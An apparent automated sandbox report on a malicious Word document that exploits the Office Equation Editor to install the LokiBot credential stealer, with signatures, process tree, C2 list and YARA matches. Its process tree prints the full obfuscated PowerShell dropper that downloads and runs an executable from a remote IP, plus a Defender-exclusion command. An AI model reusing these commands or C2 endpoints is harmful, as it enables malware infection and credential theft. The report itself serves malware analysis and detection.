Edit tour

Windows Analysis Report
stthigns.doc

Overview

General Information

Sample name:	stthigns.doc renamed because original name is a hash value
Original sample name:	seemybestoptionforentiretimegivenmebackwith______suchagreatthignswithentiretimewithmegood______seethebestthignsalwaysgivnebestthigns.doc
Analysis ID:	1559262
MD5:	e6859034a42f217800b6bf0980e93848
SHA1:	8dcb69dcf727b7a7fbfbf6755492990dc51fd192
SHA256:	564a4e9044bd96c3c67ae4c596664a2d9a7ecd1962872ac836e051949fb109b1
Tags:	docuser-abuse_ch
Infos:

Detection

Lokibot

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Sigma detected: EQNEDT32.EXE connecting to internet

Sigma detected: File Dropped By EQNEDT32EXE

Suricata IDS alerts for network traffic

Yara detected Lokibot

.NET source code contains potential unpacker

Adds a directory exclusion to Windows Defender

C2 URLs / IPs found in malware configuration

Document exploit detected (process start blacklist hit)

Drops PE files with benign system names

Injects a PE file into a foreign processes

Installs new ROOT certificates

Machine Learning detection for dropped file

Office drops RTF file

Office equation editor establishes network connection

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

PowerShell case anomaly found

Powershell drops PE file

Shellcode detected

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Equation Editor Network Connection

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Suspicious MSHTA Child Process

Sigma detected: Suspicious Microsoft Office Child Process

Sigma detected: Suspicious PowerShell Parameter Substring

Sigma detected: System File Execution Location Anomaly

Suspicious powershell command line found

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Tries to steal Mail credentials (via file registry)

Yara detected aPLib compressed binary

Allocates memory with a write watch (potentially for evading sandboxes)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Compiles C# or VB.Net code

Contains functionality to download and execute PE files

Contains functionality to download and launch executables

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected potential crypto function

Document misses a certain OLE stream usually present in this Microsoft Office document type

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Office Equation Editor has been started

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries the volume information (name, serial number etc) of a device

Searches for the Microsoft Outlook file path

Searches the installation path of Mozilla Firefox

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: Powershell Defender Exclusion

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w7x64

WINWORD.EXE (PID: 3192 cmdline: "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5)

EQNEDT32.EXE (PID: 3276 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

mshta.exe (PID: 3428 cmdline: "C:\Windows\SysWOW64\mshta.exe" "C:\Users\user\AppData\Roaming\goodtoseeuthatgreatthingswithentirethingsgreatf.hta" MD5: ABDFC692D9FE43E2BA8FE6CB5A8CB95A)

powershell.exe (PID: 3488 cmdline: "C:\Windows\SYSTEm32\WINDOwSPOWershELL\V1.0\poWERShell.eXe" "poWershELl.ExE -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt ; InvOKe-EXpreSSion($(iNvoke-EXpreSSIoN('[sYStem.TExT.eNcoDiNg]'+[CHar]0x3A+[chAr]58+'Utf8.gETsTriNg([systEm.coNvErT]'+[ChAR]0X3a+[CHAr]58+'fRoMbaSE64sTRinG('+[ChaR]0x22+'JGozckggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELXR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtYmVyZGVGSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UkxNb04uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTE9ETWxJWUZIRixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlTyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMcmQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtDTXYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0t3aFNVZ0ZkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiUEtKbWRxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMWVBocGZaVmggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGozckg6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly82Ni42My4xODcuMjMxLzMzL2Nhc3BvbC5leGUiLCIkRU52OkFQUERBVEFcd2luaW5pdC5leGUiLDAsMCk7U1RBUlQtU2xFRVAoMyk7aUV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVx3aW5pbml0LmV4ZSI='+[CHAR]0x22+'))')))" MD5: EB32C070E658937AA9FA9F3AE629B2B8)

powershell.exe (PID: 3616 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt MD5: EB32C070E658937AA9FA9F3AE629B2B8)

csc.exe (PID: 3756 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\4vzopkvk\4vzopkvk.cmdline" MD5: F8F36858B9405FBE27377FD7E8FEC2F2)

cvtres.exe (PID: 3764 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4441.tmp" "c:\Users\user\AppData\Local\Temp\4vzopkvk\CSC2CE1E80E8DFB46C4BC398124C902BE0.TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0)

wininit.exe (PID: 3868 cmdline: "C:\Users\user\AppData\Roaming\wininit.exe" MD5: 66B03D1AFF27D81E62B53FC108806211)

powershell.exe (PID: 3924 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\wininit.exe" MD5: EB32C070E658937AA9FA9F3AE629B2B8)

wininit.exe (PID: 3932 cmdline: "C:\Users\user\AppData\Roaming\wininit.exe" MD5: 66B03D1AFF27D81E62B53FC108806211)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Loki Password Stealer (PWS), LokiBot	"Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets." - PhishMeLoki-Bot employs function hashing to obfuscate the libraries utilized. While not all functions are hashed, a vast majority of them are.Loki-Bot accepts a single argument/switch of -u that simply delays execution (sleeps) for 10 seconds. This is used when Loki-Bot is upgrading itself.The Mutex generated is the result of MD5 hashing the Machine GUID and trimming to 24-characters. For example: B7E1C2CC98066B250DDB2123.Loki-Bot creates a hidden folder within the %APPDATA% directory whose name is supplied by the 8th thru 13th characters of the Mutex. For example: %APPDATA%\ C98066\.There can be four files within the hidden %APPDATA% directory at any given time: .exe, .lck, .hdb and .kdb. They will be named after characters 13 thru 18 of the Mutex. For example: 6B250D. Below is the explanation of their purpose:FILE EXTENSIONFILE DESCRIPTION.exeA copy of the malware that will execute every time the user account is logged into.lckA lock file created when either decrypting Windows Credentials or Keylogging to prevent resource conflicts.hdbA database of hashes for data that has already been exfiltrated to the C2 server.kdbA database of keylogger data that has yet to be sent to the C2 serverIf the user is privileged, Loki-Bot sets up persistence within the registry under HKEY_LOCAL_MACHINE. If not, it sets up persistence under HKEY_CURRENT_USER.The first packet transmitted by Loki-Bot contains application data.The second packet transmitted by Loki-Bot contains decrypted Windows credentials.The third packet transmitted by Loki-Bot is the malware requesting C2 commands from the C2 server. By default, Loki-Bot will send this request out every 10 minutes after the initial packet it sent.Communications to the C2 server from the compromised host contain information about the user and system including the username, hostname, domain, screen resolution, privilege level, system architecture, and Operating System.The first WORD of the HTTP Payload represents the Loki-Bot version.The second WORD of the HTTP Payload is the Payload Type. Below is the table of identified payload types:BYTEPAYLOAD TYPE0x26Stolen Cryptocurrency Wallet0x27Stolen Application Data0x28Get C2 Commands from C2 Server0x29Stolen File0x2APOS (Point of Sale?)0x2BKeylogger Data0x2CScreenshotThe 11th byte of the HTTP Payload begins the Binary ID. This might be useful in tracking campaigns or specific threat actors. This value value is typically ckav.ru. If you come across a Binary ID that is different from this, take note!Loki-Bot encrypts both the URL and the registry key used for persistence using Triple DES encryption.The Content-Key HTTP Header value is the result of hashing the HTTP Header values that precede it. This is likely used as a protection against researchers who wish to poke and prod at Loki-Bots C2 infrastructure.Loki-Bot can accept the following instructions from the C2 Server:BYTEINSTRUCTION DESCRIPTION0x00Download EXE & Execute0x01Download DLL & Load #10x02Download DLL & Load #20x08Delete HDB File0x09Start Keylogger0x0AMine & Steal Data0x0EExit Loki-Bot0x0FUpgrade Loki-Bot0x10Change C2 Polling Frequency0x11Delete Executables & ExitSuricata SignaturesRULE SIDRULE NAME2024311ET TROJAN Loki Bot Cryptocurrency Wallet Exfiltration Detected2024312ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M12024313ET TROJAN Loki Bot Request for C2 Commands Detected M12024314ET TROJAN Loki Bot File Exfiltration Detected2024315ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M12024316ET TROJAN Loki Bot Screenshot Exfiltration Detected2024317ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M22024318ET TROJAN Loki Bot Request for C2 Commands Detected M22024319ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M2	SWEED The Gorgon Group Cobalt	http://blog.reversing.xyz/reversing/2021/06/08/lokibot.html http://reversing.fun/posts/2021/06/08/lokibot.html http://reversing.fun/reversing/2021/06/08/lokibot.html http://www.malware-traffic-analysis.net/2017/06/12/index.html https://blog.fortinet.com/2017/05/17/new-loki-variant-being-spread-via-pdf-file	https://malpedia.caad.fkie.fraunhofer.de/details/win.lokipws

Malware Configuration

Threatname: Lokibot

{"C2 list": ["http://kbfvzoboss.bid/alien/fre.php", "http://alphastand.trade/alien/fre.php", "http://alphastand.win/alien/fre.php", "http://alphastand.top/alien/fre.php", "94.156.177.41/maxzi/five/fre.php"]}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
stthigns.doc	INDICATOR_RTF_MalVer_Objects	Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.	ditekSHen	0x154b:$obj1: \objhtml 0x1588:$obj2: \objdata 0x1570:$obj3: \objupdate

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\Desktop\~WRD0000.tmp	INDICATOR_RTF_EXPLOIT_CVE_2017_8759_2	detects CVE-2017-8759 weaponized RTF documents.	ditekSHen	0xa175:$clsid3: 4d73786d6c322e534158584d4c5265616465722e 0xa1bf:$ole2: d0cf11e0a1b11ae1 0x5c8f:$obj2: \objdata 0x5c6d:$obj4: \objemb

Memory Dumps

Source	Rule	Description	Author	Strings
0000000D.00000002.392918350.00000000028DA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
0000000D.00000002.392918350.00000000028DA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
0000000D.00000002.392918350.00000000028DA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000002.392918350.00000000028DA000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x1f170:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
0000000D.00000002.392918350.00000000028DA000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0xc523:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
0000000D.00000002.392918350.00000000028DA000.00000004.00000800.00020000.00000000.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x1ad67:$des3: 68 03 66 00 00 0x1f170:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x1f23c:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
0000000F.00000002.626819523.0000000000524000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
0000000D.00000002.393313668.0000000003A28000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
0000000D.00000002.393313668.0000000003A28000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
0000000D.00000002.393313668.0000000003A28000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000002.393313668.0000000003A28000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x181d0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
0000000D.00000002.393313668.0000000003A28000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x559b:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
0000000D.00000002.393313668.0000000003A28000.00000004.00000800.00020000.00000000.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13ddf:$des3: 68 03 66 00 00 0x181d0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x1829c:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x187f0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x53bb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x17936:$f1: FileZilla\recentservers.xml 0x17976:$f2: FileZilla\sitemanager.xml 0x15be6:$b2: Mozilla\Firefox\Profiles 0x15950:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x15afa:$s4: logins.json 0x169a4:$s6: wand.dat 0x15424:$a1: username_value 0x15414:$a2: password_value 0x15a5f:$a3: encryptedUsername 0x15acc:$a3: encryptedUsername 0x15a72:$a4: encryptedPassword 0x15ae0:$a4: encryptedPassword
0000000D.00000002.393313668.0000000003881000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
0000000D.00000002.393313668.0000000003881000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
0000000D.00000002.393313668.0000000003881000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000002.393313668.0000000003881000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x1a51b0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
0000000D.00000002.393313668.0000000003881000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x19257b:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
0000000D.00000002.393313668.0000000003881000.00000004.00000800.00020000.00000000.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x1a0dbf:$des3: 68 03 66 00 00 0x1a51b0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x1a527c:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
Process Memory Space: wininit.exe PID: 3868	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
Process Memory Space: wininit.exe PID: 3868	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
Process Memory Space: wininit.exe PID: 3868	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x1be5a:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk 0x7050a:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk 0x8040c:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
Process Memory Space: wininit.exe PID: 3932	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
Process Memory Space: wininit.exe PID: 3932	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
Process Memory Space: wininit.exe PID: 3932	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
Process Memory Space: wininit.exe PID: 3932	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x9ce3:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
Click to see the 29 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
13.2.wininit.exe.3a0edc0.4.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
13.2.wininit.exe.3a0edc0.4.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
13.2.wininit.exe.3a0edc0.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
13.2.wininit.exe.3a0edc0.4.raw.unpack	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x173f0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
13.2.wininit.exe.3a0edc0.4.raw.unpack	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x47bb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
13.2.wininit.exe.3a0edc0.4.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
13.2.wininit.exe.3a0edc0.4.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
13.2.wininit.exe.3a0edc0.4.raw.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x16536:$f1: FileZilla\recentservers.xml 0x16576:$f2: FileZilla\sitemanager.xml 0x147e6:$b2: Mozilla\Firefox\Profiles 0x14550:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x146fa:$s4: logins.json 0x155a4:$s6: wand.dat 0x14024:$a1: username_value 0x14014:$a2: password_value 0x1465f:$a3: encryptedUsername 0x146cc:$a3: encryptedUsername 0x14672:$a4: encryptedPassword 0x146e0:$a4: encryptedPassword
13.2.wininit.exe.3a28de0.2.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
13.2.wininit.exe.3a28de0.2.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
13.2.wininit.exe.3a28de0.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
13.2.wininit.exe.3a28de0.2.raw.unpack	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x173f0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
13.2.wininit.exe.3a28de0.2.raw.unpack	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x47bb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
13.2.wininit.exe.3a28de0.2.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
13.2.wininit.exe.3a28de0.2.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
13.2.wininit.exe.3a28de0.2.raw.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x16536:$f1: FileZilla\recentservers.xml 0x16576:$f2: FileZilla\sitemanager.xml 0x147e6:$b2: Mozilla\Firefox\Profiles 0x14550:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x146fa:$s4: logins.json 0x155a4:$s6: wand.dat 0x14024:$a1: username_value 0x14014:$a2: password_value 0x1465f:$a3: encryptedUsername 0x146cc:$a3: encryptedUsername 0x14672:$a4: encryptedPassword 0x146e0:$a4: encryptedPassword
15.2.wininit.exe.400000.0.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
15.2.wininit.exe.400000.0.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
15.2.wininit.exe.400000.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
15.2.wininit.exe.400000.0.raw.unpack	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x187f0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
15.2.wininit.exe.400000.0.raw.unpack	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x53bb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
15.2.wininit.exe.400000.0.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
15.2.wininit.exe.400000.0.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
15.2.wininit.exe.400000.0.raw.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x17936:$f1: FileZilla\recentservers.xml 0x17976:$f2: FileZilla\sitemanager.xml 0x15be6:$b2: Mozilla\Firefox\Profiles 0x15950:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x15afa:$s4: logins.json 0x169a4:$s6: wand.dat 0x15424:$a1: username_value 0x15414:$a2: password_value 0x15a5f:$a3: encryptedUsername 0x15acc:$a3: encryptedUsername 0x15a72:$a4: encryptedPassword 0x15ae0:$a4: encryptedPassword
13.2.wininit.exe.3a0edc0.4.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
13.2.wininit.exe.3a0edc0.4.unpack	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x15ff0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
13.2.wininit.exe.3a0edc0.4.unpack	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x3bbb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
13.2.wininit.exe.3a0edc0.4.unpack	Loki_1	Loki Payload	kevoreilly	0x131b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x133fc:$a2: last_compatible_version
13.2.wininit.exe.3a0edc0.4.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x123ff:$des3: 68 03 66 00 00 0x15ff0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x160bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
15.2.wininit.exe.400000.0.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
15.2.wininit.exe.400000.0.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
15.2.wininit.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
15.2.wininit.exe.400000.0.unpack	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x173f0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
15.2.wininit.exe.400000.0.unpack	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x47bb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
15.2.wininit.exe.400000.0.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
15.2.wininit.exe.400000.0.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
15.2.wininit.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x16536:$f1: FileZilla\recentservers.xml 0x16576:$f2: FileZilla\sitemanager.xml 0x147e6:$b2: Mozilla\Firefox\Profiles 0x14550:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x146fa:$s4: logins.json 0x155a4:$s6: wand.dat 0x14024:$a1: username_value 0x14014:$a2: password_value 0x1465f:$a3: encryptedUsername 0x146cc:$a3: encryptedUsername 0x14672:$a4: encryptedPassword 0x146e0:$a4: encryptedPassword
13.2.wininit.exe.3a28de0.2.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
13.2.wininit.exe.3a28de0.2.unpack	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x15ff0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
